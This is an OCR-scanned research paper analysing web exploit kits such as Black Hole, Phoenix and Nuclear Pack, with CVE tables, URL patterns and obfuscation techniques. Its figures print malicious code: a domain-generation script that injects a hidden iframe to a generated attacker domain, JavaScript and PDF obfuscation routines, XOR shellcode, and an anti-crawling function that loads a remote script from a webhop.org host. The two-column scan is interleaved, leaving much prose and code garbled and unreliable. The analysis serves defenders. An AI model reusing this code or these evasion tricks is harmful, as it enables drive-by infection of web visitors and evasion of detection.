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Abstract come by due to the PHP files being encoded using

Web exploit toolkits have become the most I'%heioncubeencoder,acommercial PHP encoder de-
€ EXpIoft LoofkIts have become the most popuia igned to help software authors protect their PHP

method for cybercriminals to compromise hosts an.dzource code. The makers of these kits run their busi-
to leverage those hosts for various methods of profit,

This talk will i d di tth hesses similar to a legitimate software businesses.
IS talk wi 9"’? a ee_p Ive on spmeq € mOStFhese kits are versioned like normal software, get
popular exploit kits available today including Black

: eliability updates for exploits, get aesthetic updates
Hole and Phoenix and also take a look at some o{ yup P g p

. or the control panels, and look at what their com-
the newer players that have appeared from Asia. An P

: h h kit i ructed and I petitors are doing better than they are and co-opt
OVerview oT now each KIL1S constructed and analys e they can. They even come with the equiva-
loits will b ted 10 ai bett derst d)fént of a EULA that tells purchasers what they are
plofts WITLE presented to give a better understand- , 4 5 e not allowed to do with their purchased ver-
ing of the differences and similarities between these. .
Kits. W that we have develoned to harvest d tS|ons,. They typically have control panels that pro-

S, ways that we have developed to harvest dalg;, o statistics, configuration and management op-
from them and any trends that may be present.

tions. For researchers, the statistics pages tend to be
_ the most interesting piece because they offer insight
1 Introduction into how successful they are in their exploitation.
o . _ They even do their own marketing on underground
Cybercriminals are always looking for easier waysforyms announcing these releases and sometimes
to accomplish their goals of making money. Onegccysing their competitors of stealing components
of the tools that has been most successful for theng,,ch as look and feel or kit-specific exploits.
over the past few years has been web exploit toolk- The authors of the kits make unlikely claims

its. These toolkits consist of a number of exploits, apoyt infection rates and downplay those of their
a control panel to configure various aspects of thgompetitors in an attempt to garner more sales. In-
kit - what exploits to use, IP addresses to blacklistfection rates in the low teens are typical for most of

how to view statistcs, etc - and also configurationihe older exploits included in the kits, while more
for the backend database where all the informationgcent exploits experience significantly higher in-
is stored. Installation guidance via text file is of- faction rates.
ten included, and many Kkits utilize web-base install
processes. o

Kits can cost anywhere between free to thou-2 Black Hole Exploit Kit
sands of dollars. The kits are sold and then vuI—2_1 Overview
nerable sites targeted and compromised to redirect
to bulletproof-hosted sites that host the main ex-Black Hole exploit kit was first introduced in late

ploit kit code. Source code tends to be difficult to 2010 and became increasingly popular in 2011. The
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Figure 1: Major Black Hole Events in 2011

popularity of the kit seemed to gain significantly af- rious issue with users installing patches for Java.

ter a free version was made available around May  gjack Hole was in the news a significant amount
2011. The kit was used to spread malware duringy o011 and the first part of 2012. Instances of com-
many high profile campaigns in 2011 and contin-, o mised sites serving and/or redirecting to Black
ues to see extremely high popularity in 2012 despitgy|¢ sites over the last year grew dramatically. This
many new kits being released with a larger numbegonq \vas also evidenced by the increase in samples
of _recent exploits. Black Holfe has be_en observeq.|jected as the year progressed. Many high-profile
being used to spread many different pieces of malgjies such as the USPS and MySQL.com websites
ware including Zeus, SpyEye, Cridex, and variouSyere hacked in 2011 and made to serve up Black
fake AVs. Recent ads advertised the latest version gy e pages in an attempt to infect their visitors with
the kit for $1000 with options to rent for one week | 4rious malware. Black Hole was also used in a
($50) and one month ($150) also offered. The adnassive compromise of Wordpress sites through a
also claimed that the Java exploits would work on,,inerable plug-in. A patch was available for this

all operating systems - Linux, Windows, and Apple y|,,4_in months prior to the launch of the campaign
OS X. Running these exploits inside of a malwarey, compromised the susceptible sites.

sandbox confirms these claims. o
Starting in late 2011, a large number of spam

The CVE list for Black Hole up until the lat- campaigns have been observed that redirect users to
ter part of 2011 mostly consisted of vulnerabilities Black Hole exploit kit sites. These spam campaigns

from 2010 and 2009. Late 2010 saw Black Hole usd€Present a change in approach from both the au-
a publicly available PoC for CVE 2011-3544 and thors who write the kits and the cybercriminals who
incorporate it into the available exploits. In 2012, Purchase them. Instead of looking for websites to
2 more Java vulnerabilities (both publicly disclosedS°MPromise, they are now going directly to poten-
in 2012), a 2011 Adobe Flash Player vulnerability,f“al V|ct|ms_ and trying to get them to click on a link
and an (at the time) unpatched Microsoft Internet @n émail. The spam campaigns have been very
Explorer vulnerability were added into the kit. The Successfuland have targeted victims with fake pack-
Java exploits have been observed having as high &3¢ delivery notices around the holidays, online re-

an 80% success rate in the wild. The mostimportanfailer orders, and fake IRS notices around income
thing to note with their Java exploits is that thesel@x deadline. Trend Micro offers more in-depth cov-

vulnerabilities have patches available prior to the€r@ge Of this topic in a whitepaper published in June

exploit being included in Black Hole or other kits. 2012 [2].
Having a success rate that high helps highlight a se- Another interesting piece of Black Hole has
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CVE Description

CVE-2012-1889|| Microsoft XML use-after-free Vulnerability

CVE-2012-1723)| Oracle Java Applet Field Bytecode Verifier Cache RCE Vulnerability
CVE-2012-0507|| Oracle Java SE Remote Java Runtime Environment Code Execution Vulnerability
CVE-2011-3544|| Oracle Java SE Rhino Script Engine Remote Code Execution Vulnerability
CVE-2010-3552|| Oracle Java SE and Java for Business Remote New Java Plug-in Viiliberab
CVE-2010-1885|| Vulnerability in Microsoft Windows Help and Support Center

CVE-2010-1423|| Oracle Java Argument Injection Vulnerability

CVE-2010-0886|| Oracle Java Remote Code Execution Vulnerability

CVE-2010-0842|| Oracle Java MixerSequencer Object Gddng Structure Handling Vulnerability
CVE-2010-0840|| Oracle Java Trusted Method Chaining RCE Vulnerability

CVE-2009-1671|| Oracle Java ActiveX Control Multiple Remote Buffer Overflow Vulnerabilities
CVE-2009-0927|| Adobe Acrobat and Reader Collab 'getlicon()’ JavaScript Metho& RGInerability
CVE-2008-2992|| Adobe Acrobat and Reader 'util.printf()’ Remote Buffer Overflow Vulalgility
CVE-2007-5659|| Adobe Reader and Acrobat Multiple Stack-based Buffer Overflow &falbilities

Table 1: List of Vulnerabilities Exploited by Black Hole

been the patterns it exhibits in the URLs on theing these bugs outweighs the benefits. The inclu-
bulletproof-hosted sites that serve the malicioussion of the previously mentioned Internet Explorer
payloads. Typically the URL ends inphp fol-  zero-day was due to a live exploit being found in
lowed by one parameter between 1 and 5 charthe wild. The authors then adapted that exploit and
acters in length with the value set to a stringincluded it in a new version. A list of CVEs and
of length 16 comprised of valid hex characters,descriptions that Black Hole has exploits for can be
e.d. main.php?page=7d788a5fd986c7fa and seen in Table 1. Contagio malware dump provides
showthread.php?page=5fab8bce769e5c2c are a spreadsheet [7] that assisted in the creation of this
Black Hole URLs observed in the wild. The most table.

opular PHP filename observed wesin . php fol- . .
popu I v ©-PAP Black Hole began using pseudo-random domain

lowed byshowthread.php. Using sites like Mal- oI

ware ngain List [6]par]$d UrIQgery [8], a good names starting in mid-2012. One of the deobfus-
idea of how many new infections are popp'ing up on_cated algoriths for the pseudo-random domain name
line. The page that serves up the payload containgeneéatllo 3 c_;\n b? seer:jl? Fc;g;Jre 2 A S;mtptlﬁ tlme-t
ing the malware the kit aims to install is normally ased algorithin IS used fo determin€ what the nex

named . php and has 2 parameters passed. The firSgomaln name is and it rotates through these domain

parameterf, is a five character hex value, while the names every 12 hours. The algorithm chooses a
second parametes, is a small integer value color from the colors array and then generates the

time-based string to calculate the subdomain to use.
Black Hole exploit kit includes quite a few ex- The "dns-stuff.com” domain is a free dynamic DNS
ploits, with the majority of the exploits using vul- registration service that anyone can use to register
nerabilities from 2010 and 2009. More recent ex-hostnames, mostly targeted at home users who are
ploits target recent Java vulnerabilities and also amooking to easily access their systems remotely. Un-
at the time unpatched vulnerability in Microsoft In- like other botnets that use an algorithmic approach
ternet Explorer. Exploit kits rarely include zero-day to generating their domain names, having this algo-
exploits. The kit authors do not seem to be inter-rithm available will not help stop Black Hole. Every
ested in finding these vulnerabilities on their owninstance of the kit sold will have a slightly different
or purchasing them because what they have workstring that is used to generate these domain names,
good enough; they reach the conclusion that theo the algorithm has to be extracted from every kit
time, money and effort spent hunting for or buy- to hope to provide protection based on DNS names.
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This ends up being the opposite of a botnet such astring to create the iframe. Throughout its lifetime,
Flashback or Sinowal. The Sinowal DNS genera-Black Hole has made subtle modifications to this
tion algorithm based itself off of Twitter trends from obfuscation technique by including floating point
two days prior and rotated every six hours. Usingnumbers and including addition and subtraction of
Twitter trends allowed for this algorithm prevented numbers. Once deobfuscated this code loads an
anyone trying to detect the next domain name untiiFrame with the "Please wait page is loading...” that
two days prior. Flashback, however, used an algoloads the second page that contains the actual ex-
rithm that did not use any data on a time-sensitiveploit code. This page attempts to detect browser
basis, it was a purely mathematical and time-base#ersion along with available plugins and their ver-
algorithm that rotated the domain name every daysions. The page will then do operating system de-
Once researchers cracked this algorithm, they wertection, plugin detection and browser detection to
effectively able to sinkhole the botnet and take con-determine if the visitor is potentially vulnerable to
trol from the operators. any of the exploits it would like to launch. Upon
successful exploitation, a malicious payload will be

22 Obfuscation Techniques downloaded and executed.

2.2.1 JavaScript 222 PDF

The obfuscation techniques used by Black HoleThe malicious PDFs used by Black Hole exhibit
have been a large reason behind its success. Thgightly different obfuscation techniques than those
obfuscation algorithm changes fairly regularly for JavaScript. They use ASCII character replace-
and always just enough to evade any currenment (e.g. &#00097 for "a”) to hide the plain-
network-level detection techniques. Black Holetext version of the exploit. This is automatically
uses many standard obfuscations such as usingecoded by a PDF parser and then executed as
square brackets around a quoted string to call davaScript. One version of a PDF usgebe’ as
function, e.g.String["fromCharCode"] instead a separator between values to split similar to the
of String.fromCharCode in addition to assigning method described above. This values are then run
a string to a variable and then usingall()  through a similar deobfuscation routine that can be
to actually execute the function. Other standardseen in Figure 4. On line 8, this routine indexes a
techniques used include building a string up usingstring to build a variable that it can be used to make
various concatenation techniques. For example  a call toeval. It then iterates over a large array of
values that it uses to index to the string in line 6 to
‘e’+lvi+lal+’l’ build the malicious JavaScript code to execute.
= ’ev’;e=at’al’;
e = ’e’+’v’+String.fromCharCode (97)+’1’;

V)
o

2.3 Shellcode

are all valid ways to build a function pointer to The shellcode observed in Black Hole exhibits
eval in JavaScript and all have been observed inmany similarities across its iterations. Multiple ver-
Black Hole exploit kit at some point. An example of sions of the JavaScript heap spray shellcode were
obfuscated vs deobfuscated Black Hole JavaScrippbserved using the same technique to deobfuscate
code can be seenin 3. the shellcode. Using a standard JMP then CALL

Black Hole's typical first-stage obfuscation tech- to get the address of the obfuscated shellcode, each
nique involves a blob of text dropped in an html tagbyte is then XOR'd with the valudgo. One the
or in an html tag parameter. A piece of javascriptbytes are patched, the process jumps to and the pay-
pulls the blob out of the tag, splits it based on a ran{oad to download and execute the specified piece
dom character, then usually will add or subtract aof malware is executed. After the bytes have been
number from character and then convert it into arun through the XOR operation, the URL where the
character. It continues this process to build up theshellcode will be downloaded from will be fairly
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1 "function nextRandomNumber(){

2 var hi = tfis.seed / this.Q;

3 wvar lo = this.seed % this.Q;

4 var test = this.A * lo - this.R * hi;

5 if(test = @){

B this.seed = test;

7 } else {

;] this.seed = test + this.M;

9

1@ return (this.seed * this.oneOverM);

11}

12

13 function RandomNumberGenerator(unix){

14 var d = new Date{unix+1000);

15 var s = d.getHours();

16

17 ifls = 12) s = @;else s = 1;

18

19 this.seed = 2345678981 + (d.getMonth{) % BxFFFFFF) + (d.getDate() % BxFFFF)l+ (s % BxFFF);
28 this.A = 48271;

21 this.M = 2147483647;

22 this.Q = this.M / this.A;

23 this.R = this.M % this.A;

24 this.oneOverM = 1.8 / this.M;

25 this.next = nextRandomNumber;

26 return this;

27 }

28

28 function createRandomNumber{r, Min, Max){

38 return Math. round{ (Max-Min) * r.next() + Min);

31°F

32

33 function generatePseudoRandomStringlunix, length, zone){

34

35 var rand = new RandonNumberGenerator{unix);

38 var letters = ['a’,'b’,'c', 'd', ‘e’ "F', ‘g’ th", "1', 5!, k!, LY et et et et e, e st e e e ey 2]
37 wvar colors = ['red','orange’, 'vellow','green’,'blue’, 'indigo’,'vi H
38 var str = colorslcreateRandomNumber{rand, 8, colers.length — 1}]1 + '-';
39

48 forlvar i = B; i < length; i ++ }{

41 str += letters[createRandonMumber(rand, @, letters.length - 1}];
42 }

43 return str.+ '.' + zone;

44 }

45

46 function makeFrame{) {

47 var date = new Date(1+1000);

48 war unix = Math.round(+new Date{)/1880);

49 war domainName = generatePseudoRandomStringlunix, 18, 'dns—stuff.com'};
50 ifrm = document.createElement(" IFRAME");

51 ifrm.setAttribute("src", "http://"+domainName+"/go.phpisid=cxc");
52 ifrm.style.width = "@

53 ifrm.style.height = '

54 ifrm.style.visibility = "hicden";

55 document.body.appendChild{ifrm);

56 }
57 setTimeout(makeFrame, 2000);

Figure 2: Black Hole Pseudo-Random DNS Generation Algorithm

easy to spot near the end of the shellcode. A snippetill only serve up an exploit page once per IP ad-
of this shellcode can be seen in Figure 5, with thedress.

deobfuscated version showing the real shellcode on

the left and the obfuscated version on the right. 35 Opfuscation Techniques

3.21 JavaScript
3 Phoenix Exploit Kit
One of the interesting things observed in Phoenix

31 Overview is the way it will break up its obfuscated JavaScript
between multiplescript tags. This does not do
Phoenix Exploit Kit has been around since 2007anything to stop detection or deobfuscation, but can
and is still going strong in 2012. This kit contains be one identifier when trying to identify potentially
exploits for 13 vulnerabilities (a table listing these unknown malicious pages found in the wild. An-
CVEs can be seenin Table 2), one of these targetingther identifying characteristic is how it puts raw
a vulnerability disclosed in 2012 and two targetingJavaScript code inside of extarea tag that is
vulnerabilities disclosed in 2011. The current ver-sandwiched in between twexript tags. Phoenix
sion of Phoenix is 3.1 and it comes in both a minihas not been used observing techniques similar to
and a full version. The mini version only allows Black Hole where it pulls text out of an HTML ele-
for a single user profile, while the full version al- ment and then performs steps to turn it into a string.
lows for multiple profiles. This allows a buyer to It seems to be fond of renaming its variables to what
use multiple business affiliates. Phoenix also has appear to be gibberish names and then building up a
nice feature in that it tracks visitors to its pages andhew set of JavaScript that will be executed. One of
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"OOCUMENT.Wr1TE( '<CENTer><nl=FLlease walt page 15 Loacing...<s
{ci{b,a)}},isDefined: functionib) {return typeof b!="undefined")
b=="string"}, isNum:function{b){return typeof b=="number"},ist
d=this,a=d.is5trNum({b)?{d.isDefined({c)?new RegExplc):d.getNun
{return d.compareNums(h,f)}c=h.split{e.splitNumRegx);b=7.spli
@}, formatNum: function(b,c){var d=this,a,e;if(!d.isStrNum(b)}{
{elal=RegExp.52}ifla=c||!(/\d/).test(elal)}{e[a]="0"}}return

null}for{e=@;e<f.length;e++)}{ifl{/[*\s]/.test({f[e] )&&{c=navig:
{!i.isDefined(e) | |e) ?/\d/: @, k=c?new RegExpic,"i"):8,a=navigat

{k=a.length-1;k==0; k—){
if (window.document ) try{dshsdfh.appendChild{"12"+dsh
v=a[k];
n=a.length-k-1;
n=n-Math.floor{n/w)+w;
z=vx(n+l);
s=s+5tring. fromCharCodel{z]);

{h.test{b)&&(!d| |d.test{RegExp. leftContext+RegExp. rightContes
RegExplc,"i"):@,a,1,d, j=e.isString(k)?[k] :k;for(d=0;d<j.lengt
@}, getPluginFileVersion: function(f,b){var h=this,e,d,g,a,c=-1
ele=h.formatNumie);b=h.formatNum{b);d=b.split{h.splitNumRegx)
e}, AXD:window. ActiveXDbject, getAXD: functionfa){var f=null,d,t
{trylh=a.slice(2);if(h.length=B&&!g[h]l){g[hl=glal {g);delete ¢
{c.file.s=c}if(c.verify){c.verify.4=c};c.05=100;if(b){var f,c
2;f>=0; f=f-2) {if{d [f]1&Enew RegExp(d[f],"i").test(b)}{c.05=d[1 '
parseFloat{RegExp.%$1,18):null; c.ActiveXEnabled=false;if(c.is] ' _°
["Msxm12, XMLHTTP" , "Msxm12.DOMDocument”, "Microsoft.XMLDOM" , "SF #-77:
{c.ActiveXEnabled=true;break}}c. head=c.isDefined|{document.get
c.formatNum{ {/runss\hs*( [N %, \d]+)/i).test(i) 7RegExp.$1:"0.C
c.formatNum(RegExp.$1) :null;c. isOper J0perays*[\/] ?\s*(\d+\
parseFloat{RegExp.$1,18):null;c.addWinEvent (" lead",c.handler| *:
—3}c=c.tolowerCase().replacel/\s/g,"");a=b[c]l;if{!a||!a.0etVe "2 '
{a.installed=a.version=a.version®=a.getVersionDone=null;a.$=t .~ '’
(c.isArray(b)&&! (b. length<=B)&&kc. isFunc(b[@])))){a.push(b)}}, *
b=this.a=b.isArravicl?c.lenoth:-1:if(!{a<=B1&&b. isFunciclel)) C

frels);

a="59;.20.5;.4@; .24; . 188;.56;.115;.62.5;.59; .20.5; .48; . 24; .1
57.5;:97;.54;.78;.39.5;.76; .3B.5; .84 . 36;.114; .58.5;.118; .5
5;.1081;.54.5;.117;.49.5;.

= .29.5:

Figure 3: Black Hole Deobfuscated vs Obfuscated JavaScript

Qunction test3(){if{s)v=ar(z];s=s+cclv+4];}
cc={q:"var pding;b,cefhots_x=wAy()11'420657839u{.VS '&1t;+1}*/DKkR%-W[]mCj~?:LBKOYEUQFM"}.q;
gg='ghejdvabl’;

q=0q[2]+qql[5]+qq(6];

g=g+qg[8];

b={v:{g:{x:this}}}.v.g.x;

w={viblgl}.v;

s=Array();

n={v:iccl.v;

10 for(i=@;i-3782=0;i++){

11 z=i;

12 test3{);

13 }

14 wis);

[F= = - R N N R S PTN R

Figure 4: Black Hole Deobfuscation Routine Used in PDFs

the interesting differences observed is that even imew challengers appearing and reappearing. In
its deobfuscated form it still does not overtly name2011, a kit dubbed "Nice Pack” appeared and dis-
its variables like Black Hole where functions namedappeared very fast, while a number of newer and
getShellCode and references to "heap sprays” aresmaller kits have started appearing in 2012. A num-
regularly seen. An example of Phoenix’s obfuscateder of these kits are from China, while many others

javascript can be seen in Figure 6. are based out of Eastern Europe and Russia. There
are far too many kits to cover in this paper, but a few
322 PDF of the interesting new ones will be highlighted: one

from Asia and has brought some interesting features
While Phoenix's JavaScript obfuscations do notas well as more exploits for recent vulnerabilities,
bear much similarity to Black Hole’s, its PDF while another is a new player that attempts to min-
JavaScript obfuscations do. A large array of inte-imize its knowledge of its existence to reduce the
gers is declared and then use a deobfuscation rogotential detection, and the last kit is an old player
tine to convert that into text. Once deobfuscated ithat reappeared with an interesting new feature.
performs like normal JavaScript and launches the at-
tack. Very little ASCII character replacement was
also observed in the PDF files that Phoenix uses té'l Yang Pack

launch its attacks as well. The exploit kit from Asia has been dubbed "Yang

Pack” by researchers because of the name of its
4 Other kits main HTML file - 'yg.html’ [3]. This kit includes

three exploits for vulnerabilities disclosed in 2011
While Black Hole and Phoenix are two of the largerand also shows some interesting obfuscations. The
players in the exploit kit market, there have beenexploits had a very low detection rate on VirusTotal
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Juauu inc ecx uuua ana B8P, UFFFrUn
Jooo1 inc ecx ooos ald

joooz ine ecx 0009 imp short loc 1B

J0003 inc ecx 0008 j} ---——--————m e e e e e ————
0004 and sp, OFFFCh 0008

Jooog cld 000B dechf sc: C
10009 mp short loc 1B 000B pop eax

bl T oooc Xor e0xX, eoX

J000B 000E sub ex, OFE45h

J000B loe B: : CODE XREF: seg000:loc 1B|p 0013

10008 pop eax 0013 Lleg 13: ;o
J000C xox ©oxX, ecx 0013 xor byte ptr [eax],
JO00E sub cx, OFE52h ; get number of bytes to patch 0016 inc eax

Joo13 0017 loop loc 13

0013 loc 13 j CODE XREF: B5&g000:000000171% o019

Jo013 xor byte ptr [eax], 28h ; XOR shellcode bytes with 0x28 0019 logc_19: P o
10016 ine eax o019 jmp ghort shellcode
0017 loop lec 13 OOIB | — e e e e e e e e e
J0019 jmp short shellecode 001B

OB ;e e e e e e e e e e e s 001E leoc 1B C
J001B 0018 call deobf s b |
J001B loe 1B: ; CODE XREF: seg000:000000091j 0020

J001B call loc B 0020 shellcode: Ci
0020 0020 lodsd

10020 shelleode: ; CODE XREF: seg000:00000019 1§ o021 int 3 T
10020 test esp, esp o022 pop ebp

0022 inz short loc 58 0023 sbb al, ;"

o024 0025 Jja short loc_42

Figure 5: Black Hole deobfuscated shellcode vs obfuscated shellcode

CVE Description

CVE-2011-3544 Oracle Java Applet Rhino Script Engine Remote Code Execution
CVE-2011-0611| Adobe Flash Player Remote Code Execution Vulnerability (NPSWF32.dll plugi
CVE-2010-0806|| IE iepeers Vulnerability

CVE-2010-0188|| Adobe Reader LibTiff Vulnerability

CVE-2009-4324|| Adobe Reader newPlayer Vulnerability

CVE-2009-3867|| Java HsbParser.getSoundBank (GSB)

CVE-2009-1869|| Adobe Flash Integer Overflow in AVM2

CVE-2009-0927|| Adobe Acrobat and Reader Collab 'getlcon()’ JavaScript Metho& RGInerability
CVE-2008-5353|| Java Runtime Environment (JRE)

CVE-2008-2992|| Adobe Acrobat and Reader 'util.printf()’ Remote Buffer Overflow Vuiznility
CVE-2008-2463|| IE SnapShot Viewer ActiveX Vulnerability

CVE-2007-5659| Adobe Reader and Acrobat Multiple Stack-based Buffer Overflow &falbilities
CVE-2006-0003|| IE MDAC

=)

Table 2: List of Vulnerabilities Targeted by Versions of Phoenix Exploit Kit

atthe time. The kit also uses cookies to detect reped&oot [5], they are minimizing the adverting on some
visits and will not attempt to launch the exploits if of the invite-only underground forums while also
a user revisits the site. The most interesting thingoeing extremely careful to only share information
from a researcher perspective is the emergence ofith respected members of their community. The
this kit from China when the market has been seemkit runs $2500 to purchase, while renting costs up
ingly dominated by Russia and Eastern Europe. Ao $1400. The number and targets for exploits is
small number of samples from this kit have been ob-also not currently known. In the research for this
served in the wild by the DVLabs malware collec- paper, no samples were found in the wild. The
tion system and they all exhibit very little obfusca- authors are currently doing a good job at accom-
tion or other evasion techniques. Examples of otheplishing their goal of keeping their code out of re-
Chinese exploit kits can be found on Kahu Secu-searchers’ hands, but it remains unclear how suc-
rity’s blog posts [1] and [4]. cessful they are at selling their kit or exploiting vic-
tims. Logic would suggest that if the kit was truly
successful there would be more samples available
for analysis and more sites found hosting it on the
Sweet Orange exploit kit first appeared in 2012 andnternet.

the authors are attempting to make sure it is hard to

obtain for non-cybercriminals. According to Web-

4.2 Sweet Orange Exploit Kit
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LU g e replacelpripuh, ssat). replace(ialabola, huivnos); }</scripts<scripts>var etcwxwb="vhbba3bsr74h~
63ds12so02has7bbaBjhv3hvivahsfssohxfsdjhsshrovbjsfdfshjbodhessawobsjsfbh=jjb'shfnddjjbbhkfjh4jbxNhgb2bjaljibskh
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Figure 6: Phoenix Exploit Kit JavaScript Obfuscation

4.3 Nuclear Pack see their exploits for these vulnerabilities have sig-
nificantly higher success rates. This has been ev-
_ L _ _ idenced by the recent Java vulnerabilities (CVE-
scene, flr_st arriving in 20009, then dlsappearlng and2011-3544,CVE-2012-0507,CVE-2012-1527) that
reappearing in early 2012. The new version release ere included soon after they were patched and
in 2012 only contains exploits for 4 vulnerabilities. the recent Microsoft Internet Explorer (CVE-2012-
The kit uses obfuscation techniques found in othen gaq, \inerapility that was added while it was stil
kits, but it introduced a new feature that attempts, zero-day vulnerability. Exploit kit writers are

tﬁ h'ge ﬁelf frqm reszarchers.' Th|sf fiature I\_Nrapﬁearning from each other and taking the best of what
the cot u_scanon and execution of the maliClous, o its have to offer and trying to incorporate
JavaScript in anMouseMove event on the HTML

h de for thi hni b i Fi these features into their own kit. Exploit kit writ-
page, the code for this technique can be seen in Figs, recognize that they are running a business and

ure 7. This featurg makes it difficult for honey- will keep pushing the envelope on their end to find
clients and sandboxing technology to crawl the Pa%Gey ways to avoid detection and exploit users. The

and load the malicious JavaScript since few of themy, ;o thege exploit kits advance, the harder protect-

ao rllOt agowkfor errulanon of hmouse ljnteorlactt):con. ing users will become. Constant vigilance to detect
uclear Package aiso uses other standard oblusCgz, o asjon techniques and exploits is required in

tion tecr;]mque_s SUCT_ as AShCHI character repljceéddition to making sure that patches for software are
ment. The anti-crawling technology is expecte toapplied in a timely fashion.

be improved and likely incorporated into other kits.

Nuclear Pack is a fairly old player on the exploit kit

5 Conclusion References

The most important thing to note about these kitd1] Another chinese exploit pack.

is that even with all the obfuscations that aim to  http://www.kahusecurity.com/2012/another-chinese-
bypass anti-virus , network intrusion and/or pre-

vention systems, and other detection mechanismd2] Blackhole exploit kit: A

these kits cannot exploit patched vulnerabilities.  spam campaign, not a series

Exploit kit makers are becoming more proactive  of individual spam runs.

about including vulnerabilities sooner because they  http://www.trendmicro.com/cloud-content/us/pdfs/s
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4333 (function() 4

4334 var url = &#30;httpiasSh; //smmxkyexsu. webhop. arg/a/5#30;
4335 if (typeof window.xyzflag === &#39;undefined&#3s;) {
4336 window.xyzflag = ©;

4337 }

4338 document.onmousemove = function() {

4335 if (window.xyzflag ===

4340 window.xyzflag = 1;

4341 var head = document.getElementsByTagName(&#30; heads#30; JA#01; 05403, ;
4342 var script = document.createElement(&#39;scripta#3n;);
4343 script.type = &#39; text/javascript&#3

4344 script.onreadystatechange = function ()

4345 if (this.readyState == &#39;complete&#is;) {
4346 window.xyzflag = 2;

4347 }

4348 };

4349 script.onload = functioni) {

4350 window.xyzflag = 2;

4351 };

4352 script.src = url + Math.randomi{).toString().substring(3) + &#30;.js&#30;;
4353 head.appendChild{script);

4354 }

4355 };

Figure 7: Nuclear Pack v2 Anti-Crawling Function
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